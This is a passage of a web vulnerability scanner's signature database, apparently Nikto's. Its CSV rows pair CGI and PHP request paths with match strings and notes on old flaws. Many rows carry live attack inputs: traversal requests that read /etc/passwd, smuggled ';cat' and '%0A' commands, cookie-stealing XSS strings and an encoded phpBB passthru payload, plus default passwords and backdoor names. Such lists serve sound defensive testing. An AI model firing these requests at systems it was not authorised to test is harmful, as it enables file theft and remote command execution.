  432. "generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.1","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
  433. "generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.2","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
  434. "generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.3","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
  435. "generic","@CGIDIRSmt-static/","200","GET","Movable Type weblog found. May contain security problems in CGIs, weak passwords, and more. Default login 'Melody' with password 'Nelson'."
  436. "generic","@CGIDIRSmt-static/mt-check.cgi","200","GET","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, perl version, and modules."
  437. "generic","@CGIDIRSmt-static/mt-load.cgi","200","GET","Movable Type weblog installation CGI found. May be able to reconfigure or reload."
  438. "generic","@CGIDIRSmt-static/mt.cfg","configuration file","GET","Movable Type configuration file found. Should not be available remotely."
  439. "generic","@CGIDIRSmt/","200","GET","Movable Type weblog found. May contain security problems in CGIs, weak passwords, and more. Default login 'Melody' with password 'Nelson'."
  440. "generic","@CGIDIRSmt/mt-check.cgi","200","GET","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, perl version, and modules."
  441. "generic","@CGIDIRSmt/mt-load.cgi","200","GET","Movable Type weblog installation CGI found. May be able to reconfigure or reload."
  442. "generic","@CGIDIRSmt/mt.cfg","configuration file","GET","Movable Type configuration file found. Should not be available remotely."
  443. "generic","@CGIDIRSmultihtml.pl?multi=/etc/passwd%00html","root:","GET","This CGI allows attackers to read arbitrary files on the host. May also allow a shell to be spawned using http://www.packetstormsecurity.org/0009-exploits/multihtml.c"
  444. "generic","@CGIDIRSmusicqueue.cgi","200","GET","Musicqueue 1.20 is vulnerable to a buffer overflow. Ensure the latest version is installed (exploit not attempted). http://musicqueue.sourceforge.net/"
  445. "generic","@CGIDIRSmyguestbook.cgi?action=view","200","GET","myGuestBook 1.0 may be vulnerable to Cross Site Scripting (XSS) in posted contents. Upgrade to the latest version from http://www.levcgi.com/.  CA-2000-02."
  446. "generic","@CGIDIRSnetauth.cgi?cmd=show&page=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to view arbitrary files on the server."
  447. "generic","@CGIDIRSnetpad.cgi","200","GET","netpad.cgi may be an indication of a malicious user on the system, as it allows web access to the file system. It may also have remote vulnerabilities itself. This should be removed or protected."
  448. "generic","@CGIDIRSnewsdesk.cgi?t=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to view arbitrary files on the server."
  449. "generic","@CGIDIRSnimages.php","200","GET","Alpha versions of the Nimages package vulnerable to non specific 'major' security bugs."
  450. "generic","@CGIDIRSnph-emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
  451. "generic","@CGIDIRSnph-publish.cgi","200","GET","This CGI may allow attackers to execute arbitrary commands on the server."
  452. "generic","@CGIDIRSnph-showlogs.pl?files=../../&filter=.*&submit=Go&linecnt=500&refresh=0","200","GET","nCUBE Server Manager 1.0 nph-showlogs.pl directory traversal bug"
  453. "generic","@CGIDIRSnph-test-cgi","200","GET","This CGI lets attackers get a directory listing of the CGI directory."
  454. "generic","@CGIDIRSopendir.php?/etc/passwd","root:","GET","This CGI allows attackers to read any file on the web server."
  455. "generic","@CGIDIRSorders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  456. "generic","@CGIDIRSpagelog.cgi","200","GET","Some versions of this allow you to create system files. Request 'pagelog.cgi?name=../../../../.././tmp/filename' to try."
  457. "generic","@CGIDIRSpals-cgi?palsAction=restart&documentName=/etc/passwd","root:","GET","This CGI allows remote users to read system files."
  458. "generic","@CGIDIRSpbcgi.cgi?name=Joe%Camel&email=%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3B%3C%2FSCRIPT%3E","<script>alert('Vulnerable')</script>","GET","Lil'HTTP Server (Summit Computer Networks) CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  459. "generic","@CGIDIRSperl?-v","200","GET","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl from the CGI dir."
  460. "generic","@CGIDIRSperl.exe?-v","200","GET","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl.exe from the CGI dir."
  461. "generic","@CGIDIRSperl.exe","200","GET","Can run PERL code"
  462. "generic","@CGIDIRSperl","200","GET","Shell/interpreter found"
  463. "generic","@CGIDIRSperlshop.cgi","200","GET","v3.1 by ARPAnet.com; check info in Phrack 55 by RFP"
  464. "generic","@CGIDIRSpfdispaly.cgi?../../../../../../../../../../etc/passwd","root:","GET","This allows attackers to read arbitrary files on the host."
  465. "generic","@CGIDIRSpfdispaly.cgi?'%0A/bin/cat%20/etc/passwd|'","root:","GET","This allows attackers to execute arbitrary commands on the host."
  466. "generic","@CGIDIRSpfdisplay.cgi?'%0A/bin/cat%20/etc/passwd|'","root:","GET","This allows attackers to execute arbitrary commands on the host."
  467. "generic","@CGIDIRSphf?Qname=root%0Acat%20/etc/passwd%20","root:","GET","This allows attackers to read arbitrary files on the system and perhaps execute commands."
  468. "generic","@CGIDIRSphf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd","root:","GET","C'mon, this is REALLY old... upgrade out for years"
  469. "generic","@CGIDIRSphf","200","GET","Old and vulnerable? Or is someone messing with us...?"
  470. "generic","@CGIDIRSphoto/","200","GET","My Photo Gallery pre 3.6 contains multiple vulnerabilities including .. traversal, unspecified vulnerabilities, and remote management interface access. Versions before 3.8 allowed anyone to view contents of any directory on systems."
  471. "generic","@CGIDIRSphoto/manage.cgi","200","GET","My Photo Gallery management interface. May allow full access to photo galleries and more."
  472. "generic","@CGIDIRSphoto/protected/manage.cgi","200","GET","My Photo Gallery management interface. May allow full access to photo galleries and more."
  473. "generic","@CGIDIRSphp.cgi?/etc/passwd","root:","GET","This allows attackers to read arbitrary files on the system and perhaps execute commands."
  474. "generic","@CGIDIRSplusmail","200","GET","This CGI may allow attackers to execute commands remotely."
  475. "generic","@CGIDIRSpollit/Poll_It_SSI_v2.0.cgi?data_dir=\etc\passwd%00","root:","GET","This CGI allows attackers to retrieve arbitrary files."
  476. "generic","@CGIDIRSpowerup/r.cgi?FILE=../../../../../../../../../../etc/passwd","root:","GET","The Powerup CGI allows attackers to read any file on the system."
  477. "generic","@CGIDIRSppdscgi.exe","200","GET","PowerPlay Web Edition may allow unauthenticated users to view pages."
  478. "generic","@CGIDIRSprobecontrol.cgi?command=enable&username=cancer&password=killer","200","GET","This might be interesting... has been seen in web logs from a scanner."
  479. "generic","@CGIDIRSprocessit.pl","200","GET","This CGI returns environment variables, giving attackers valuable information."
  480. "generic","@CGIDIRSpublisher/search.cgi?dir=jobs&template=;cat%20/etc/passwd|&output_number=10","root:","GET","AHG's search.cgi allows any command to be executed. www.ahg.com."
  481. "generic","@CGIDIRSquery?mss=%2e%2e/config","MGMT_PW","GET","The Altavista search service allows attackers to read any file on the server."
  482. "generic","@CGIDIRSquickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id=","root:","GET","This CGI allows attackers to read arbitrary files on the remote system."
  483. "generic","@CGIDIRSquizme.cgi","200","GET","Mike's Quiz Me! CGI contained a bug which allowed arbitrary command execution (version 0.5), see http://freshmeat.net/users/mikespice/"
  484. "generic","@CGIDIRSr.cgi?FILE=../../../../../../../../../../etc/passwd","root:","GET","The Powerup CGI allows attackers to read any file on the system."
  485. "generic","@CGIDIRSretrieve_password.pl","200","GET","May not be vulnerable, but see http://www.dcscripts.com/bugtrac/DCForumID7/3.html for information."
  486. "generic","@CGIDIRSrksh","200","GET","Shell found in CGI dir!"
  487. "generic","@CGIDIRSrobadmin.cgi","200","GET","Default password: roblog"
  488. "generic","@CGIDIRSrpm_query","200","GET","This CGI allows anyone to see the installed RPMs"
  489. "generic","@CGIDIRSrsh","200","GET","Shell found"
  490. "generic","@CGIDIRSrtm.log","HttpPost Retry","GET","Rich Media's JustAddCommerce allows retrieval of a log file, which may contain sensitive information."
  491. "generic","@CGIDIRSrwcgi60","200","GET","Oracle report server reveals system information without authorization. See Oracle note 133957.1 - Restricting Access to the Reports Server Environment and Output"
  492. "generic","@CGIDIRSrwcgi60/showenv","200","GET","Oracle report server reveals system information without authorization. See Oracle note 133957.1 - Restricting Access to the Reports Server Environment and Output"
  493. "generic","@CGIDIRSrwwwshell.pl","200","GET","THC reverse www shell"
  494. "generic","@CGIDIRSsawmill?rfcf+%22SawmillInfo/SawmillPassword%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3","Unknown configuration","GET","The Sawmill CGI allows attackers to read the Sawmill password."
  495. "generic","@CGIDIRSsawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1","root:","GET","Remote file retrieval."
  496. "generic","@CGIDIRSsbcgi/sitebuilder.cgi","200","GET","SITEBUILDER v1.4 may allow retrieval of any file. With a valid username and password, request: /<CGIDIR>/sbcgi/sitebuilder.cgi?username=<user>&password=<password>&selectedpage=../../../../../../../../../../etc/passwd"
  497. "generic","@CGIDIRSscoadminreg.cgi","200","GET","This script (part of UnixWare WebTop) may have a local root exploit. It is also an system admin script and should be protected via the web."
  498. "generic","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini","[windows]","GET","This CGI contains a well known vul that allows attackers to read any system file."
  499. "generic","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini","[fonts]","GET","This CGI contains a well known vul that allows attackers to read any system file."
  500. "generic","@CGIDIRSsearch.php?searchstring=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Gallery 1.3.4 and below is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. BID-8288."
  501. "generic","@CGIDIRSsearch.pl?form=../../../../../../../../../../etc/passwd%00","root:","GET","The ROADS search.pl allows attackers to retrieve system files."
  502. "generic","@CGIDIRSsearch.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&;Rank=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fluid Dynamics FD Search engine from http://www.xav.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Upgrade to FDSE version 2.0.0.0055"
  503. "generic","@CGIDIRSsearch/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc","resolv.conf","GET","It is possible to read files on the remote server, this CGI should be removed."
  504. "generic","@CGIDIRSsendform.cgi","200","GET","This CGI by Rod Clark (v1.4.4 and below) may allow arbitrary file reading via email or allow spam to be sent. CAN-2002-0710. BID-5286."
  505. "generic","@CGIDIRSsendpage.pl","200","GET","Passes unparsed form input to command line"
  506. "generic","@CGIDIRSsendtemp.pl?templ=../../../../../../../../../../etc/passwd","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
  507. "generic","@CGIDIRSsewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/passwd","root:","GET","Default scripts can allow arbitrary access to the host."
  508. "generic","@CGIDIRSSGB_DIR/superguestconfig","200","GET","Super GuestBook 1.0 from lasource.r2.ru stores the admin password in a plain text file."
  509. "generic","@CGIDIRSsh","200","GET","Shell found in CGI dir!"
  510. "generic","@CGIDIRSshop.cgi?page=../../../../../../../etc/passwd","root:","GET","Remote file read retrieval."
  511. "generic","@CGIDIRSshop.pl/page=;cat%20shop.pl|","\/perl","GET","Shopping Cart (Hassan) allows execution of remote commands. CAN-2001-0985."
  512. "generic","@CGIDIRSshop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  513. "generic","@CGIDIRSshop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  514. "generic","@CGIDIRSshopper.cgi?newpage=../../../../../../../../../../etc/passwd","root:","GET","Versions 1 and 2 of Byte's Interactive Web Shopper allow attackers to read files remotely. Uncomment the #$debug=1 variable."
  515. "generic","@CGIDIRSshopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20/etc/passwd|","root:","GET","ShopPlus Cart allows arbitrary command execution. CAN-2001-0992."
  516. "generic","@CGIDIRSshowcheckins.cgi?person=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  517. "generic","@CGIDIRSsimple/view_page?mv_arg=|cat%20/etc/passwd|","root:","GET","This CGI allows attackers to execute commands on the host as the HTTP daemon owner."
  518. "generic","@CGIDIRSslxweb.dll","200","GET","SalesLogix WebClient may be vulnerable to authentication bypass, SQL injection and DoS attacks. See http://www.securityfocus.com/bid/11450"
  519. "generic","@CGIDIRSsmartsearch.cgi","200","GET","To check for remote execution vulnerability use ?keywords=|/bin/ls| or your favorite command"
  520. "generic","@CGIDIRSsmartsearch/smartsearch.cgi","200","GET","To check for remote execution vulnerability use ?keywords=|/bin/ls| or your favorite command"
  521. "generic","@CGIDIRSsojourn.cgi?cat=../../../../../../../../../../etc/password%00","root:","GET","This CGI allows attackers to read arbitrary files."
  522. "generic","@CGIDIRSspin_client.cgi?aaaaaaaa","200","GET","This CGI may be vulnerable to remote execution by sending 8000 x 'a' characters (check to see if you get a 500 error message)"
  523. "generic","@CGIDIRSss","200","GET","Mediahouse Statistics Server may allow attacker to execute remote commands. Upgrade to latest version or remove from the CGI directory."
  524. "generic","@CGIDIRSsscd_suncourier.pl","200","GET","Sunsolve CD script may allow users to execute arbitrary commands. The script was confirmed to exist, but the test was not done."
  525. "generic","@CGIDIRSssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","root:","GET","The server install allows reading of any system file by sending encoded '../' directives."
  526. "generic","@CGIDIRSstart.cgi/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","<script>alert('Vulnerable')</script>","GET","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  527. "generic","@CGIDIRSstat.pl","200","GET","Uninets StatsPlus 1.25 from http://www.uninetsolutions.com/stats.html may be vulnerable to command/script injection by manipulating HTTP_USER_AGENT or HTTP_REFERER."
  528. "generic","@CGIDIRSstore.cgi?StartID=../../../../../../../../../../etc/passwd%00.html","root:","GET","This CGI allows attackers to read arbitrary files remotely."
  529. "generic","@CGIDIRSstore/agora.cgi?cart_id=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Agora.cgi is vulnerable to Cross Site Scripting (XSS), CAN-2001-1199, CA-2000-02."
  530. "generic","@CGIDIRSstore/agora.cgi?page=whatever33.html","FILE:","GET","Agora.cgi gives detailed error messages including file system paths."
  531. "generic","@CGIDIRSstore/index.cgi?page=../../../../../../../../etc/passwd","root:","GET","CommerceSQL allows reading of arbitrary files. Default install found in /cgi-bin/store/, default login/pass is username/password."
  532. "generic","@CGIDIRSstory.pl?next=../../../../../../../../../../etc/passwd%00","root:","GET","story.pl versions older than 1.4 allow any file to be read remotely."
  533. "generic","@CGIDIRSstory/story.pl?next=../../../../../../../../../../etc/passwd%00","root:","GET","story.pl versions older than 1.4 allow any file to be read remotely."
  534. "generic","@CGIDIRSsws/admin.html","manager.pl","GET","Stepweb.com SWS search engine admin page is available. You may be able to change admin information without authentication."
  535. "generic","@CGIDIRStalkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1","200","GET","Talkback CGI displays arbitrary files"
  536. "generic","@CGIDIRStcsh","200","GET","Shell found in CGI dir!"
  537. "generic","@CGIDIRStechnote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files remotely."
  538. "generic","@CGIDIRStest-cgi?/*","/tmp","GET","This CGI allows files to read remotely."
  539. "generic","@CGIDIRStest-cgi.exe?<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Default CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  540. "generic","@CGIDIRStestcgi.exe?<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  541. "generic","@CGIDIRStexis.exe/junk","Web Script","GET","Texis Web Script gives system path/information when an invalid file is requested."
  542. "generic","@CGIDIRStexis/junk","Web Script","GET","Texis Web Script gives system path/information when an invalid file is requested."
  543. "generic","@CGIDIRStitle.cgi","200","GET","HNS's title.cgi is vulnerable to cross site scripting (XSS CA-2000-02). in version 2.00 and earlier, and Lite 0.8 and earlier."
  544. "generic","@CGIDIRStraffic.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
  545. "generic","@CGIDIRStroops.cgi","200","GET","This CGI may be a leftover from a hacked site; may be used to attempt to hack other sites.  It should be investigated further."
  546. "generic","@CGIDIRSttawebtop.cgi/?action=start&pg=../../../../../../../../../../etc/passwd","root:","GET","Tarantell TTAWeb Top CGI lets remote users read arbitrary files."
  547. "generic","@CGIDIRSunlg1.1","200","GET","web backdoor by ULG"
  548. "generic","@CGIDIRSunlg1.2","200","GET","web backdoor by ULG"
  549. "generic","@CGIDIRSupdate.dpgs","200","GET","Duma Photo Gallery System may allow remote users to write to any file on the system. See http://b0iler.eyeonsecurity.net for details. This could not be remotely tested."
  550. "generic","@CGIDIRSupload.cgi","200","GET","The upload.cgi allows attackers to upload arbitrary files to the server."
  551. "generic","@CGIDIRSurlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27Vulnerable%27%29%22%3E","<script>alert('Vulnerable')</script>","GET","urlcount.cgi on the Lil'HTTP server may be vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  552. "generic","@CGIDIRSustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd","200","GET","ustorekeeper will display arbitrary files. CAN-2001-0466"
  553. "generic","@CGIDIRSustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files remotely. CAN-2001-0466."
  554. "generic","@CGIDIRSview_item?HTML_FILE=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows reading of remote files."
  555. "generic","@CGIDIRSview-source?view-source","200","GET","This allows remote users to view source code."
  556. "generic","@CGIDIRSview-source","200","GET","This may allow remote arbitrary file retrieval."
  557. "generic","@CGIDIRSviewcvs.cgi/viewcvs/?cvsroot=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","ViewCVS v0.9.2 from viewcvs.sourceforge.net and below are vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version.  CA-2000-02."
  558. "generic","@CGIDIRSviewcvs.cgi/viewcvs/viewcvs/?sortby=rev\"><script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","ViewCVS v0.9.2 from viewcvs.sourceforge.net and below are vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version.  CA-2000-02."
  559. "generic","@CGIDIRSviewsource?/etc/passwd","root:","GET","Allows attacker to retrieve arbitrary files.  Remove from CGI directory."
  560. "generic","@CGIDIRSviralator.cgi","200","GET","May be vulnerable to command injection, upgrade to 0.9pre2 or newer. This flaw could not be confirmed."
  561. "generic","@CGIDIRSvirgil.cgi","200","GET","The Virgil CGI Scanner 0.9 allows remote users to gain a system shell. This could not be confirmed (try syntax like virgil.cgi?tar=-lp&zielport=31337 to open a connection on port 31337."
  562. "generic","@CGIDIRSvisadmin.exe","200","GET","This CGI allows attacker to crash the web server. Remove it from the CGI directory."
  563. "generic","@CGIDIRSvote.cgi","200","GET","Mike's Vote CGI contained a bug which allowed arbitrary command execution (version 1.2), see http://freshmeat.net/projects/mikessurveycgi/"
  564. "generic","@CGIDIRSvpasswd.cgi","200","GET","Some versions of this CGI allow attackers to execute commands on your system. Verify this is the latest version available."
  565. "generic","@CGIDIRSvq/demos/respond.pl?<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","vqServer default CGI files are vulnerable to Cross Site Scripting (XSS), remove all default CGI files. CA-2000-02."
  566. "generic","@CGIDIRSVsSetCookie.exe?","200","GET","A flaw in VsSetCookie.exe may allow attackers to guess a correct user name & gain access to the Lucent system. See http://www.securityfocus.com for more information."
  567. "generic","@CGIDIRSway-board.cgi?db=/etc/passwd%00","root:","GET","Allows attackers to read arbitrary files from the server."
  568. "generic","@CGIDIRSway-board/way-board.cgi?db=/etc/passwd%00","root:","GET","Allows attackers to read arbitrary files from the server."
  569. "generic","@CGIDIRSwconsole.dll","200","GET","It may be possible to overflow this dll with 1024 bytes of data."
  570. "generic","@CGIDIRSwebbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd","root:","GET","WebBBS by Darryl Burgdorf is vulnerable to command execution."
  571. "generic","@CGIDIRSwebcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20/etc/passwd|&CODE=PHOLD","root:","GET","webcart.cgi allows remote command execution. Upgrade to the latest version."
  572. "generic","@CGIDIRSwebdist.cgi?distloc=;cat%20/etc/passwd","root:","GET","This CGI allows attackers to read files remotely."
  573. "generic","@CGIDIRSwebdriver","200","GET","This CGI often allows anyone to access the Informix DB on the host."
  574. "generic","@CGIDIRSwebgais","200","GET","The webgais allows attackers to execute commands."
  575. "generic","@CGIDIRSwebif.cgi","200","GET","HNS's webif.cgi is vulnerable to allow remote users to rewrite diary entries if 'direct mode' is enabled in version 2.00 and earlier, and Lite 0.8 and earlier."
  576. "generic","@CGIDIRSwebmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
  577. "generic","@CGIDIRSwebmap.cgi","200","GET","nmap front end...could be fun"
  578. "generic","@CGIDIRSWebnews.exe","200","GET","Some versions of WebNews are vulnerable to a buffer overflow. See http://www.nextgenss.com/advisories/netwinnews.txt for more info."
  579. "generic","@CGIDIRSwebnews.pl","200","GET","WebNews may contain some default users in the binary: testweb/newstest, alwn3845/imaptest, alwi3845/wtest3452, testweb2/wtest4879"
  580. "generic","@CGIDIRSwebplus?about","Product Information","GET","Webplus may divulge product information, including version numbers. Version 4.X and below have a file read vulnerability."
  581. "generic","@CGIDIRSwebplus?script=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to retrieve files remotely."
  582. "generic","@CGIDIRSwebplus.exe?about","Product Information","GET","Webplus may divulge product information, including version numbers. Version 4.X and below have a file read vulnerability. Vers prior to 4.6 build 561 and 5.0 build 554 have a buffer overflow."
  583. "generic","@CGIDIRSwebsendmail","200","GET","This CGI may allow attackers to execute arbitrary commands remotely."
  584. "generic","@CGIDIRSwebspirs.cgi?sp.nextform=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files."
  585. "generic","@CGIDIRSwhois_raw.cgi?fqdn=%0Acat%20/etc/passwd","root:","GET","Allows attacker to view any file (and possibly execute commands). Upgrade to latest version"
  586. "generic","@CGIDIRSwhois.cgi?action=load&whois=%3Bid","uid=","GET","This script allows commands to be executed remotely."
  587. "generic","@CGIDIRSwhois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd","root:","GET","The whois.cgi allows any command to be executed on the system."
  588. "generic","@CGIDIRSwhois/whois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd","root:","GET","The whois.cgi allows any command to be executed on the system."
  589. "generic","@CGIDIRSWINDMAIL.EXE?%20-n%20c:\boot.ini%","boot loader","GET","WINDMAIL.EXE can read arbitrary files"
  590. "generic","@CGIDIRSWINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\",","200","GET","WINDMAIL.EXE can read arbitrary files"
  591. "generic","@CGIDIRSwindmail.exe","200","GET","Some versions are vulnerable. Request 'windmail.exe?-n%20c:\boot.ini%20you@youraddress.com' (replace your address) and see if you get the boot.ini file"
  592. "generic","@CGIDIRSwindmail","200","GET","Some versions are vulnerable. Request 'windmail?-n%20c:\boot.ini%20you@youraddress.com' (replace your address) and see if you get the boot.ini file"
  593. "generic","@CGIDIRSwrap.cgi","200","GET","possible variation: comes with IRIX 6.2; allows to view directories"
  594. "generic","@CGIDIRSwrap","200","GET","This CGI lets users read any file with 755 perms. It should not be in the CGI directory."
  595. "generic","@CGIDIRSws_ftp.ini","200","GET","Can contain saved passwords for ftp sites"
  596. "generic","@CGIDIRSWS_FTP.ini","200","GET","Can contain saved passwords for ftp sites"
  597. "generic","@CGIDIRSwwwadmin.pl","200","GET","Administration CGI?"
  598. "generic","@CGIDIRSwwwwais","200","GET","wwwais has a vulnerability that lets attackers run commands as http daemon owner. Request 'CGIDIR/wwwais?version=version=123&' and 4096 bytes of garbage."
  599. "generic","@CGIDIRSwwwwais","UNISYS WEB SEARCH ENGINE","GET","Unisys web server wais search found."
  600. "generic","@CGIDIRSYaBB.pl?board=news&action=display&num=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI lets users read any file with http daemon's permissions. Upgrade to latest version"
  601. "generic","@CGIDIRSYaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","YaBB 1 Gold SP1 and earlier are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  602. "generic","@CGIDIRSzml.cgi?file=../../../../../../../../../../etc/passwd%00","root:","GET","Ztreet Markup Language interpreter allows arbitrary file to be read remotely."
  603. "generic","@CGIDIRSzsh","200","GET","Shell found in CGI dir!"
  604. "generic","@NUKEindex.php?name=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","<DIR>","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  605. "generic","@NUKEindex.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","<DIR>","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  606. "generic","@NUKEindex.php?name=forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","drwx","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  607. "generic","@NUKEindex.php?name=Forums&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","drwx","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  608. "generic","@NUKEMy_eGallery/public/displayCategory.php","200","GET","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFunctions.php without checking URL/location arguments."
  609. "generic","@NUKEviewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","<DIR>","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  610. "generic","@NUKEviewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","drwx","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  611. "generic","/_layouts/alllibs.htm","200","GET"," Microsoft SharePoint Portal and Team Serices vulnerable to NT or NTLM authentication bypass on Win2000 SP4 using IE 6.x. Bugtraq 03-11-19 post by arkanian@hacker.am"
  612. "generic","/_layouts/settings.htm","200","GET","Microsoft SharePoint Portal and Team Serices vulnerable to NT or NTLM authentication bypass on Win2000 SP4 using IE 6.x. Bugtraq 03-11-19 post by arkanian@hacker.am"
  613. "generic","/_layouts/userinfo.htm","200","GET"," Microsoft SharePoint Portal and Team Serices vulnerable to NT or NTLM authentication bypass on Win2000 SP4 using IE 6.x. Bugtraq 03-11-19 post by arkanian@hacker.am"
  614. "generic","/_pages","index of","GET","Default directory found."
  615. "generic","/_vti_bin/fpcount.exe/","Empty output from CGI program","GET","The VisNetic WebSite 3.5, Service release 17 reveals system paths when certain non-existing files are requested. See http://www.krusesecurity.dk/advisories/vis0103.txt for more information. CAN-1999-1376. BID-2252."
  616. "generic","/?mod=<script>alert(document.cookie)</script>&op=browse","<script>alert(document.cookie)","GET","Sage 1.0b3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  617. "generic","/?mod=node&nid=some_thing&op=view","/node.module.php","GET","Sage 1.0b3 may reveal system paths with invalid module names."
  618. "generic","/?mod=some_thing&op=browse","in /","GET","Sage 1.0b3 reveals system paths with invalid module names."
  619. "generic","/?pattern=/etc/*&sort=name","passwd","GET","The TCLHttpd 3.4.2 server allows directory listings via dirlist.tcl."
